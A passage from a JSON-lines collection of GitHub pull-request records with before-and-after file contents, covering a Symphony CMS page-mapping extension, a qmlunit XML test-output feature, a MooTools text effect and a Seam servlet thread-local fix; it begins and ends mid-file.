'FrontendPrePageResolve',\n\t\t\t\t\t\t\t'callback' => 'addPage'\n\t\t\t\t\t\t),\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/system/preferences/',\n\t\t\t\t\t\t\t'delegate' => 'AddCustomPreferenceFieldsets',\n\t\t\t\t\t\t\t'callback' => 'append_preferences'\n\t\t\t\t\t\t),\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'page' => '/system/preferences/',\n\t\t\t\t\t\t\t'delegate' => 'Save',\n\t\t\t\t\t\t\t'callback' => 'save_settings'\n\t\t\t\t\t\t),\n\t\t\t);\n\t\t}\n\t\t\n\t\tpublic function addPage(&$context){\n\t\t\n\t\t\t//to prevent the callback loop\n\t\t\tif(!$this->alreadyRan){\n\t\t\t\t$this->alreadyRan = true;\n\t\t\t\t//the only way to access the current (active) pages.\n\t\t\t\t$front = FrontEnd::Page();\n\t\t\t\t\n\t\t\t\tif(!$front->resolvePage($context['page'])){\n\t\t\t\t\t//uses home page if no page is set in the config panel.\n\t\t\t\t\tif($this->_get_fallback() == ''){\n\t\t\t\t\t\t$indexPage = $this->__getIndexPage();\n\t\t\t\t\t\t$indexHandle = $indexPage['handle'];\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\t$indexHandle = $this->_get_fallback();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//adds the home page to the handle, if the current page is not found.\n\t\t\t\t\t//requires the home page to fallback to a 404 if the params do not match, otherwise no 404 error will ever be created.\n\t\t\t\t\t\n\t\t\t\t\t$params = $context['page'];\n\t\t\t\t\t\n\t\t\t\t\tif($this->_Parent->Configuration->get('map_sub_to_front', 'maptofront') == 'no'){\n\t\t\t\t\t\t$tmp = substr($indexHandle,0, strrpos($indexHandle, '/'));\n\t\t\t\t\t\tif(strlen($tmp) > 0){\n\t\t\t\t\t\t\t$params = substr($context['page'], strpos($context['page'], $tmp)+strlen($tmp));\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t$params = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$context['page'] = $indexHandle.$params;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\tpublic function append_preferences(&$context)\n\t\t{\n\t\t\t# Add new fieldset\n\t\t\t$group = new XMLElement('fieldset');\n\t\t\t$group->setAttribute('class', 'settings');\n\t\t\t$group->appendChild(new XMLElement('legend', 'Root Page Params'));\n\n\t\t\t# Add Site Reference field\n\t\t\t//$label = Widget::Label('Fallback page');\n\t\t\t//$label->appendChild(Widget::Input('settings[maptofront][fallback]', General::Sanitize($this->_get_fallback())));\n\t\t\t\n\t\t\t//try to add a select box for the page (more user friendly)\n\t\t\t$label = Widget::Label(__('Page to append parameters to'));\n\t\t\t\n\t\t\t$pages = $this->_Parent->Database->fetch(\"\n\t\t\t\tSELECT\n\t\t\t\t\tp.*\n\t\t\t\tFROM\n\t\t\t\t\t`tbl_pages` AS p\n\t\t\t\tWHERE\n\t\t\t\t\tp.id != '{mysql_real_escape_string($page_id)}'\n\t\t\t\tORDER BY\n\t\t\t\t\tp.title ASC\n\t\t\t\");\n\t\t\t\n\t\t\t$options = array(\n\t\t\t\tarray('', false, '')\n\t\t\t);\n\t\t\t\n\t\t\tif (is_array($pages) && !empty($pages)) {\n\t\t\t\tif (!function_exists('__compare_pages')) {\n\t\t\t\t\tfunction __compare_pages($a, $b) {\n\t\t\t\t\t\treturn strnatcasecmp($a[2], $b[2]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tforeach ($pages as $page) {\n\t\t\t\t\t$options[] = array(\n\t\t\t\t\t\t$this->_Parent->resolvePagePath($page['id']), $this->_Parent->Configuration->get('fallback', 'maptofront') == $this->_Parent->resolvePagePath($page['id']),\n\t\t\t\t\t\t'/'.$this->_Parent->resolvePagePath($page['id'])\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tusort($options, '__compare_pages');\n\t\t\t}\n\t\t\t\n\t\t\t$label->appendChild(Widget::Select(\n\t\t\t\t'settings[maptofront][fallback]', $options\n\t\t\t));\n\t\t\t\n\t\t\t$group->appendChild($label);\n\t\t\t$group->appendChild(new XMLElement('p', 'The page to append the parameters to. Leave empty for home (default).', array('class' => 'help')));\n\t\t\t\n\t\t\t$label = Widget::Label();\n\t\t\t$input = Widget::Input('settings[maptofront][map_sub_to_front]', 'yes', 'checkbox');\n\t\t\tif($this->_Parent->Configuration->get('map_sub_to_front', 'maptofront') == 'yes') $input->setAttribute('checked', 'checked');\n\t\t\t$label->setValue($input->generate() . ' ' . __('Map subpages to home page'));\n\t\t\t\n\t\t\t$group->appendChild($label);\n\t\t\t$group->appendChild(new XMLElement('p', 'Maps subpages to the root page when checked, maps subpages to their parents if unchecked.', array('class' => 'help')));\n\t\t\t\n\t\t\t$context['wrapper']->appendChild($group);\n\t\t}\n\t\t\n\t\t//any way to get this without using the database?\n\t\tfunction __getIndexPage(){\n\t\t\t$row = $this->_Parent->Database->fetchRow(0, \"SELECT `tbl_pages`.* FROM `tbl_pages`, `tbl_pages_types` \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  WHERE `tbl_pages_types`.page_id = `tbl_pages`.id \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  AND tbl_pages_types.`type` = 'index' \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  LIMIT 1\");\n\t\t\treturn $row;\n\t\t}\n\t\t\n\t\tfunction _get_fallback(){\n\t\t\t$default_fallback = '';\n\t\t\t$val = $this->_Parent->Configuration->get('fallback', 'maptofront');\n\t\t\t\n\t\t\treturn (isset($val)) ? $val : $default_fallback;\n\t\t}\n\t\t\n\t\tfunction save_settings($context){\n\t\t\tif(!isset($context['settings']['maptofront']['map_sub_to_front'])) $context['settings']['maptofront']['map_sub_to_front'] = 'no';\n\t\t\t\n\t\t\tif(!isset($context['settings']['maptofront'])){\n\t\t\t\t$context['settings']['maptofront'] = array('map_sub_to_front' => 'no');\n\t\t\t}\n\t\t}\n\t}\n"}}
{"repo": "fgrehm/qmlunit", "pr_number": 1, "title": "Mergebranch", "state": "closed", "merged_at": null, "additions": 106, "deletions": 7, "files_changed": ["qmlunittestrunner.cpp", "scripts/QUnitTestXmlLogger.js"], "files_before": {"qmlunittestrunner.cpp": "#include \"qmlunittestrunner.h\"\n#include \"qmllogger.h\"\n#include <QDeclarativeContext>\n#include <QDebug>\n#include <QDir>\n\nQmlUnitTestRunner::QmlUnitTestRunner(QApplication *app) :\n    QObject(app)\n{\n    this->app = app;\n\n    QStringList args = app->arguments();\n    // Skips executable\n    args.removeAt(0);\n\n    if (args.count() == 0) {\n        qDebug() << \"No arguments passed, failing back to qmlunit Test Suite (\" << (app->applicationDirPath() + \"/test\") << \")\\n\";\n        args = QStringList(app->applicationDirPath() + \"/test\");\n    }\n\n    QStringListIterator i(args);\n    while(i.hasNext())\n        findTests(i.next());\n\n    i = QStringListIterator(tests);\n    qDebug() << \"Tests files found:\";\n    while(i.hasNext()) {\n        QString currentArg = i.next();\n        qDebug() << \"\\t\" << currentArg;\n    }\n}\n\nvoid QmlUnitTestRunner::setup(){\n    QmlLogger *logger = new QmlLogger(app->applicationDirPath(), this);\n\n    QDeclarativeEngine *engine = logger->engine();\n\n    engine->setOfflineStoragePath(QDir::currentPath() + \"/storage\");\n    engine->addImportPath(QDir::currentPath() + \"/QmlUnit\");\n    engine->rootContext()->setContextProperty(\"testsInput\", tests);\n    engine->rootContext()->setContextProperty(\"currentPath\", QDir::currentPath());\n\n    logger->setup();\n}\n\nint QmlUnitTestRunner::exec() {\n    setup();\n    return app->exec();\n}\n\nvoid QmlUnitTestRunner::findTests(QString path) {\n    if (isTest(path)) {\n        tests << QDir(path).absolutePath();\n        return;\n    }\n\n    QStringList filters; filters << \"*\";\n    QDir dir = QDir(QDir(path).absolutePath());\n\n    QListIterator<QFileInfo> files(dir.entryInfoList(filters, QDir::AllEntries | QDir::NoDotAndDotDot));\n    while(files.hasNext()) {\n        QFileInfo file = files.next();\n        if (file.fileName() == \".\" || file.fileName() == \"..\") continue;\n\n        if (isTest(file))\n            tests << file.absoluteFilePath();\n        else if (isDir(file))\n            findTests(file.absoluteFilePath());\n    }\n}\n\nbool QmlUnitTestRunner::isTest(QFileInfo file){\n    return isTest(file.fileName());\n}\n\nbool QmlUnitTestRunner::isTest(QString filePath){\n    return filePath.endsWith(\"Test.qml\");\n}\n\nbool QmlUnitTestRunner::isDir(QFileInfo file){\n    return QDir(file.absoluteFilePath()).exists();\n}\n"}, "files_after": {"qmlunittestrunner.cpp": "#include \"qmlunittestrunner.h\"\n#include \"qmllogger.h\"\n#include <QDeclarativeContext>\n#include <QDebug>\n#include <QDir>\n\nQmlUnitTestRunner::QmlUnitTestRunner(QApplication *app) :\n    QObject(app)\n{\n    this->app = app;\n\n    QStringList args = app->arguments();\n    // Skips executable\n    args.removeAt(0);\n    \n    // Parse possible xmlUnitOutput arg\n    bool xmlOutput = false;\n    \n    if ((args.count() > 0) && args.contains(\"-xml\")) {\n        xmlOutput = true;\n        args.removeAt(args.indexOf(\"-xml\"));\n    }\n    \n    if (args.count() == 0) {\n        // Surpress all non-xml output if xml output was requested\n        if (!xmlOutput) \n          qDebug() << \"No arguments passed, failing back to qmlunit Test Suite (\" << (app->applicationDirPath() + \"/test\") << \")\\n\";\n        args = QStringList(app->applicationDirPath() + \"/test\");\n    }\n\n    QStringListIterator i(args);\n    while(i.hasNext())\n        findTests(i.next());\n\n    i = QStringListIterator(tests);\n    \n    // Surpress all non-xml output if xml output was requested\n    if (!xmlOutput) {\n      qDebug() << \"Tests files found:\";\n      while(i.hasNext()) {\n          QString currentArg = i.next();\n          qDebug() << \"\\t\" << currentArg;\n      }\n    }\n}\n\nvoid QmlUnitTestRunner::setup(){\n    QmlLogger *logger = new QmlLogger(app->applicationDirPath(), this);\n\n    QDeclarativeEngine *engine = logger->engine();\n\n    engine->setOfflineStoragePath(QDir::currentPath() + \"/storage\");\n    engine->addImportPath(QDir::currentPath() + \"/QmlUnit\");\n    engine->rootContext()->setContextProperty(\"testsInput\", tests);\n    engine->rootContext()->setContextProperty(\"currentPath\", QDir::currentPath());\n\n    logger->setup();\n}\n\nint QmlUnitTestRunner::exec() {\n    setup();\n    return app->exec();\n}\n\nvoid QmlUnitTestRunner::findTests(QString path) {\n    if (isTest(path)) {\n        tests << QDir(path).absolutePath();\n        return;\n    }\n\n    QStringList filters; filters << \"*\";\n    QDir dir = QDir(QDir(path).absolutePath());\n\n    QListIterator<QFileInfo> files(dir.entryInfoList(filters, QDir::AllEntries | QDir::NoDotAndDotDot));\n    while(files.hasNext()) {\n        QFileInfo file = files.next();\n        if (file.fileName() == \".\" || file.fileName() == \"..\") continue;\n\n        if (isTest(file))\n            tests << file.absoluteFilePath();\n        else if (isDir(file))\n            findTests(file.absoluteFilePath());\n    }\n}\n\nbool QmlUnitTestRunner::isTest(QFileInfo file){\n    return isTest(file.fileName());\n}\n\nbool QmlUnitTestRunner::isTest(QString filePath){\n    return filePath.endsWith(\"Test.qml\");\n}\n\nbool QmlUnitTestRunner::isDir(QFileInfo file){\n    return QDir(file.absoluteFilePath()).exists();\n}\n", "scripts/QUnitTestXmlLogger.js": "var currentTestSuite;\nvar testSuites = [];                                            \n\nfunction addTestSuite(name) {\n\n  currentTestSuite = {\n    name: name,\n    errors: 0,\n    testsTotal: 0,\n    time: 0.0, \n    failures: 0,\n    tests: []\n  };\n  testSuites.push(currentTestSuite)\n}\n\nfunction parseFailureMessage(assertions) {\n  var message = \"\"\n  for (var i=0; i<assertions.length; i++) {\n    if (!assertions[i].result && assertions[i].message)\n      message += assertions[i].message + \"; \"\n  }\n  \n  return message\n}\n\nfunction addTestCase(testSuite, name, testsTotal, failures, assertions) {\n  var testCase = {\n    name: name,\n    time: 0,\n    testsTotal: testsTotal,\n    failures: failures,\n    failureMessage: parseFailureMessage(assertions)\n  };\n\n  testSuite.testsTotal += testsTotal\n  testSuite.failures += failures\n  \n  testSuite.tests.push(testCase)\n}\n\nfunction printTestResultsInXUnitFormat(logger) {  \n  \n  logger.log(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" ?>\")\n  logger.log(\"<testsuites>\")\n  \n  testSuites.forEach(function(testSuite) {\n    logger.log(\"  <testsuite name=\\\"\" + testSuite.name + \"\\\" tests=\\\"\" +testSuite.testsTotal + \n                \"\\\" failures=\\\"\" + testSuite.failures + \"\\\" errors=\\\"\" + testSuite.errors + \n                \"\\\" time=\\\"\" + testSuite.time + \"\\\">\")\n    \n    testSuite.tests.forEach(function(test) {\n      if (test.failures == 0) {    \n        logger.log(\"    <testcase name=\\\"\" + test.name + \"\\\" time=\\\"\" + test.time + \"\\\"/>\")\n      } \n      else {\n        logger.log(\"    <testcase name=\\\"\" + test.name + \"\\\" time=\\\"\" + test.time + \"\\\">\")\n        logger.log(\"      <failure type=\\\"qmlunit test failure\\\" message=\\\"\" + test.failureMessage + \"\\\"/>\")\n        logger.log(\"    </testcase>\")\n      }        \n    });\n    \n    logger.log(\"  </testsuite>\")\n  });\n  \n  logger.log(\"</testsuites>\")\n}\n\n\n"}}
{"repo": "SunboX/mootools-fx-text", "pr_number": 1, "title": "fx-text for the pack", "state": "closed", "merged_at": "2010-10-02T17:41:23Z", "additions": 82, "deletions": 55, "files_changed": ["Source/Element.retype.js", "Source/Fx.Text.js"], "files_before": {"Source/Element.retype.js": "/*\n---\n \nname: Element.retype\n \ndescription: Effect to animated replace the text of an element.\n\nauthors: Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n\ncopyright: Copyright (c) 2010 Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n \nlicense: MIT-style license.\n\nversion: 1.0\n \nrequires: Fx.Text\n \nprovides: Element.retype\n \n...\n*/\n\nElement.Properties.retype = {\r\n\r\n    set: function(options){\r\n        var retype = this.retrieve('retype');\r\n        if (retype) \r\n            retype.cancel();\r\n        return this.eliminate('retype').store('retype:options', $extend({\r\n            link: 'cancel'\r\n        }, options));\r\n    },\r\n    \r\n    get: function(options){\r\n        if (options || !this.retrieve('retype')) {\r\n            if (options || !this.retrieve('retype:options')) \r\n                this.set('retype', options);\r\n            this.store('retype', new Fx.Text(this, this.retrieve('retype:options')));\r\n        }\r\n        return this.retrieve('retype');\r\n    } \r\n};\r\n\r\nElement.implement({\r\n\r\n    retype: function(from, to){\r\n        this.get('retype').start(from, to);\r\n        return this;\r\n    }\r\n});", "Source/Fx.Text.js": "/*\n---\n \nname: Fx.Text\n \ndescription: Effect to animated replace the text of an element.\n\nauthors: Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n\ncopyright: Copyright (c) 2010 Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n \nlicense: MIT-style license.\n\nversion: 1.2.1\n \nrequires: Core/1.2.4: Fx\n \nprovides: Fx.Text\n \n...\n*/\n\nFx.Text = new Class({\r\n\r\n    Extends: Fx,\r\n    \r\n    initialize: function(element, options){\r\n        this.element = this.subject = document.id(element);\r\n        this.parent(options);\r\n    },\r\n    \r\n    set: function(now){\r\n        this.element.set('text', now);\r\n        return this;\r\n    },\r\n    \r\n    step: function(){\r\n        if (!this.to) {\r\n            this.to = this.from;\r\n            this.from = this.element.get('text', '');\r\n        }\r\n        return this.parent();\r\n    },\r\n    \r\n    compute: function(from, to, delta){\r\n        var l = Math.round(to.length * delta);\r\n        var r = Math.round((from.length - to.length) * delta);\r\n        return to.substr(0, l) + from.substr(l, from.length - l - r);\r\n    }\r\n});\n"}, "files_after": {"Source/Element.retype.js": "/*\n---\n \nname: Element.retype\n \ndescription: Effect to animated replace the text of an element.\n\nauthors: Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n\ncopyright: Copyright (c) 2010 Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n \nlicense: MIT-style license.\n\nversion: 1.0\n \nrequires:\n  - Fx.Text\n \nprovides: Element.retype\n \n...\n*/\n\nElement.Properties.retype = {\r\n\r\n\tset: function(options){\r\n\t\tvar retype = this.retrieve('retype');\r\n\t\tif (retype)\r\n\t\t\tretype.cancel();\r\n\t\treturn this.eliminate('retype').store('retype:options', $extend({\r\n\t\t\tlink: 'cancel'\r\n\t\t}, options));\r\n\t},\r\n\t\r\n\tget: function(options){\r\n\t\tif (options || !this.retrieve('retype')){\r\n\t\t\tif (options || !this.retrieve('retype:options'))\r\n\t\t\t\tthis.set('retype', options);\r\n\t\t\tthis.store('retype', new Fx.Text(this, this.retrieve('retype:options')));\r\n\t\t}\r\n\t\treturn this.retrieve('retype');\r\n\t}\n\t\r\n};\r\n\r\nElement.implement({\r\n\r\n\tretype: function(from, to){\r\n\t\tthis.get('retype').start(from, to);\r\n\t\treturn this;\r\n\t}\n\t\r\n});\n", "Source/Fx.Text.js": "/*\n---\n \nname: Fx.Text\n \ndescription: Effect to animated replace the text of an element.\n\nauthors: Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n\ncopyright: Copyright (c) 2010 Dipl.-Ing. (FH) Andr\u00e9 Fiedler <kontakt@visualdrugs.net>\n \nlicense: MIT-style license.\n\nversion: 1.2.1\n \nrequires: \n  - Core/Element\n  - Core/Fx\n \nprovides: Fx.Text\n \n...\n*/\n\nFx.Text = new Class({\r\n\r\n\tExtends: Fx,\r\n\t\r\n\tinitialize: function(element, options){\r\n\t\tthis.element = this.subject = document.id(element);\r\n\t\tthis.parent(options);\r\n\t},\r\n\t\r\n\tset: function(now){\r\n\t\tthis.element.set('text', now);\r\n\t\treturn this;\r\n\t},\r\n\t\r\n\tstep: function(){\r\n\t\tif (!this.to){\r\n\t\t\tthis.to = this.from;\r\n\t\t\tthis.from = this.element.get('text', '');\r\n\t\t}\r\n\t\treturn this.parent();\r\n\t},\r\n\t\r\n\tcompute: function(from, to, delta){\r\n\t\tvar l = Math.round(to.length * delta),\n\t\t\tr = Math.round((from.length - to.length) * delta);\r\n\t\treturn to.substr(0, l) + from.substr(l, from.length - l - r);\r\n\t}\n\t\r\n});\n"}}
{"repo": "seam/servlet", "pr_number": 5, "title": "SEAMSERVLET-32", "state": "closed", "merged_at": "2011-03-25T05:19:21Z", "additions": 12, "deletions": 11, "files_changed": ["impl/src/main/java/org/jboss/seam/servlet/event/ImplicitServletObjectsHolder.java"], "files_before": {"impl/src/main/java/org/jboss/seam/servlet/event/ImplicitServletObjectsHolder.java": "/*\n * JBoss, Home of Professional Open Source\n * Copyright 2010, Red Hat Middleware LLC, and individual contributors\n * by the @authors tag. See the copyright.txt in the distribution for a\n * full listing of individual contributors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.jboss.seam.servlet.event;\n\nimport javax.enterprise.context.ApplicationScoped;\nimport javax.enterprise.event.Observes;\nimport javax.enterprise.inject.spi.BeanManager;\nimport javax.inject.Inject;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.jboss.seam.servlet.ServletRequestContext;\nimport org.jboss.seam.servlet.beanManager.ServletContextAttributeProvider;\nimport org.jboss.seam.servlet.http.HttpServletRequestContext;\nimport org.jboss.seam.servlet.support.ServletLogger;\nimport org.jboss.seam.solder.logging.Category;\n\n/**\n * A manager for tracking the contextual Servlet objects, specifically the {@link ServletContext}, {@link HttpServletRequest}\n * and {@link HttpServletResponse}.\n * \n * @author <a href=\"http://community.jboss.org/people/dan.j.allen\">Dan Allen</a>\n */\n@ApplicationScoped\npublic class ImplicitServletObjectsHolder {\n    @Inject @Category(ServletLogger.CATEGORY)\n    private ServletLogger log;\n\n    private ServletContext servletCtx;\n\n    private final ThreadLocal<ServletRequestContext> requestCtx = new InheritableThreadLocal<ServletRequestContext>() {\n        @Override\n        protected ServletRequestContext initialValue() {\n            return null;\n        }\n    };\n\n    protected void contextInitialized(@Observes @Initialized final InternalServletContextEvent e, BeanManager beanManager) {\n        ServletContext ctx = e.getServletContext();\n        log.servletContextInitialized(ctx);\n        ctx.setAttribute(BeanManager.class.getName(), beanManager);\n        ServletContextAttributeProvider.setServletContext(ctx);\n        servletCtx = ctx;\n    }\n\n    protected void contextDestroyed(@Observes @Destroyed final InternalServletContextEvent e) {\n        log.servletContextDestroyed(e.getServletContext());\n        servletCtx = null;\n    }\n\n    protected void requestInitialized(@Observes @Initialized final InternalServletRequestEvent e) {\n        ServletRequest req = e.getServletRequest();\n        log.servletRequestInitialized(req);\n        if (req instanceof HttpServletRequest) {\n            requestCtx.set(new HttpServletRequestContext(req));\n        } else {\n            requestCtx.set(new ServletRequestContext(req));\n        }\n    }\n\n    protected void requestDestroyed(@Observes @Destroyed final InternalServletRequestEvent e) {\n        log.servletRequestDestroyed(e.getServletRequest());\n        requestCtx.set(null);\n    }\n\n    protected void responseInitialized(@Observes @Initialized final InternalServletResponseEvent e) {\n        ServletResponse res = e.getServletResponse();\n        log.servletResponseInitialized(res);\n        if (res instanceof HttpServletResponse) {\n            requestCtx.set(new HttpServletRequestContext(requestCtx.get().getRequest(), res));\n        } else {\n            requestCtx.set(new ServletRequestContext(requestCtx.get().getRequest(), res));\n        }\n    }\n\n    protected void responseDestroyed(@Observes @Destroyed final InternalServletResponseEvent e) {\n        log.servletResponseDestroyed(e.getServletResponse());\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            requestCtx.set(new HttpServletRequestContext(requestCtx.get().getRequest()));\n        } else {\n            requestCtx.set(new ServletRequestContext(requestCtx.get().getRequest()));\n        }\n    }\n\n    public ServletContext getServletContext() {\n        return servletCtx;\n    }\n\n    public ServletRequestContext getServletRequestContext() {\n        return requestCtx.get();\n    }\n\n    public HttpServletRequestContext getHttpServletRequestContext() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get());\n        } else {\n            return null;\n        }\n    }\n\n    public ServletRequest getServletRequest() {\n        if (requestCtx.get() != null) {\n            return requestCtx.get().getRequest();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpServletRequest getHttpServletRequest() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getRequest();\n        } else {\n            return null;\n        }\n    }\n\n    public ServletResponse getServletResponse() {\n        if (requestCtx.get() != null) {\n            return requestCtx.get().getResponse();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpServletResponse getHttpServletResponse() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getResponse();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpSession getHttpSession() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getRequest().getSession();\n        } else {\n            return null;\n        }\n    }\n\n    static class InternalServletContextEvent {\n        private ServletContext ctx;\n\n        InternalServletContextEvent(ServletContext ctx) {\n            this.ctx = ctx;\n        }\n\n        public ServletContext getServletContext() {\n            return ctx;\n        }\n    }\n\n    static class InternalServletRequestEvent {\n        private ServletRequest request;\n\n        InternalServletRequestEvent(ServletRequest request) {\n            this.request = request;\n        }\n\n        public ServletRequest getServletRequest() {\n            return request;\n        }\n    }\n\n    static class InternalServletResponseEvent {\n        private ServletResponse response;\n\n        InternalServletResponseEvent(ServletResponse response) {\n            this.response = response;\n        }\n\n        public ServletResponse getServletResponse() {\n            return response;\n        }\n    }\n\n    static class InternalHttpSessionEvent {\n        private HttpSession session;\n\n        InternalHttpSessionEvent(HttpSession session) {\n            this.session = session;\n        }\n\n        public HttpSession getHttpSession() {\n            return session;\n        }\n    }\n}\n"}, "files_after": {"impl/src/main/java/org/jboss/seam/servlet/event/ImplicitServletObjectsHolder.java": "/*\n * JBoss, Home of Professional Open Source\n * Copyright 2010, Red Hat Middleware LLC, and individual contributors\n * by the @authors tag. See the copyright.txt in the distribution for a\n * full listing of individual contributors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.jboss.seam.servlet.event;\n\nimport javax.enterprise.context.ApplicationScoped;\nimport javax.enterprise.event.Observes;\nimport javax.enterprise.inject.spi.BeanManager;\nimport javax.inject.Inject;\nimport javax.servlet.ServletContext;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\nimport org.jboss.seam.servlet.ServletRequestContext;\nimport org.jboss.seam.servlet.beanManager.ServletContextAttributeProvider;\nimport org.jboss.seam.servlet.http.HttpServletRequestContext;\nimport org.jboss.seam.servlet.support.ServletLogger;\nimport org.jboss.seam.solder.logging.Category;\n\n/**\n * A manager for tracking the contextual Servlet objects, specifically the {@link ServletContext}, {@link HttpServletRequest}\n * and {@link HttpServletResponse}.\n * \n * @author <a href=\"http://community.jboss.org/people/dan.j.allen\">Dan Allen</a>\n */\n@ApplicationScoped\npublic class ImplicitServletObjectsHolder {\n    @Inject @Category(ServletLogger.CATEGORY)\n    private ServletLogger log;\n\n    private ServletContext servletCtx;\n\n    private final ThreadLocal<ServletRequestContext> requestCtx = new ThreadLocal<ServletRequestContext>() {\n        @Override\n        protected ServletRequestContext initialValue() {\n            return null;\n        }\n    };\n\n    protected void contextInitialized(@Observes @Initialized final InternalServletContextEvent e, BeanManager beanManager) {\n        ServletContext ctx = e.getServletContext();\n        log.servletContextInitialized(ctx);\n        ctx.setAttribute(BeanManager.class.getName(), beanManager);\n        ServletContextAttributeProvider.setServletContext(ctx);\n        servletCtx = ctx;\n    }\n\n    protected void contextDestroyed(@Observes @Destroyed final InternalServletContextEvent e) {\n        log.servletContextDestroyed(e.getServletContext());\n        servletCtx = null;\n    }\n\n    protected void requestInitialized(@Observes @Initialized final InternalServletRequestEvent e) {\n        ServletRequest req = e.getServletRequest();\n        log.servletRequestInitialized(req);\n        if (req instanceof HttpServletRequest) {\n            requestCtx.set(new HttpServletRequestContext(req));\n        } else {\n            requestCtx.set(new ServletRequestContext(req));\n        }\n    }\n\n    protected void requestDestroyed(@Observes @Destroyed final InternalServletRequestEvent e) {\n        log.servletRequestDestroyed(e.getServletRequest());\n        requestCtx.set(null);\n    }\n\n    protected void responseInitialized(@Observes @Initialized final InternalServletResponseEvent e) {\n        ServletResponse res = e.getServletResponse();\n        log.servletResponseInitialized(res);\n        if (res instanceof HttpServletResponse) {\n            requestCtx.set(new HttpServletRequestContext(requestCtx.get().getRequest(), res));\n        } else {\n            requestCtx.set(new ServletRequestContext(requestCtx.get().getRequest(), res));\n        }\n    }\n\n    protected void responseDestroyed(@Observes @Destroyed final InternalServletResponseEvent e) {\n        log.servletResponseDestroyed(e.getServletResponse());\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            requestCtx.set(new HttpServletRequestContext(requestCtx.get().getRequest()));\n        } else {\n            requestCtx.set(new ServletRequestContext(requestCtx.get().getRequest()));\n        }\n    }\n\n    public ServletContext getServletContext() {\n        return servletCtx;\n    }\n\n    public ServletRequestContext getServletRequestContext() {\n        return requestCtx.get();\n    }\n\n    public HttpServletRequestContext getHttpServletRequestContext() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get());\n        } else {\n            return null;\n        }\n    }\n\n    public ServletRequest getServletRequest() {\n        if (requestCtx.get() != null) {\n            return requestCtx.get().getRequest();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpServletRequest getHttpServletRequest() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getRequest();\n        } else {\n            return null;\n        }\n    }\n\n    public ServletResponse getServletResponse() {\n        if (requestCtx.get() != null) {\n            return requestCtx.get().getResponse();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpServletResponse getHttpServletResponse() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getResponse();\n        } else {\n            return null;\n        }\n    }\n\n    public HttpSession getHttpSession() {\n        if (requestCtx.get() instanceof HttpServletRequestContext) {\n            return HttpServletRequestContext.class.cast(requestCtx.get()).getRequest().getSession();\n        } else {\n            return null;\n        }\n    }\n\n    static class InternalServletContextEvent {\n        private ServletContext ctx;\n\n        InternalServletContextEvent(ServletContext ctx) {\n            this.ctx = ctx;\n        }\n\n        public ServletContext getServletContext() {\n            return ctx;\n        }\n    }\n\n    static class InternalServletRequestEvent {\n        private ServletRequest request;\n\n        InternalServletRequestEvent(ServletRequest request) {\n            this.request = request;\n        }\n\n        public 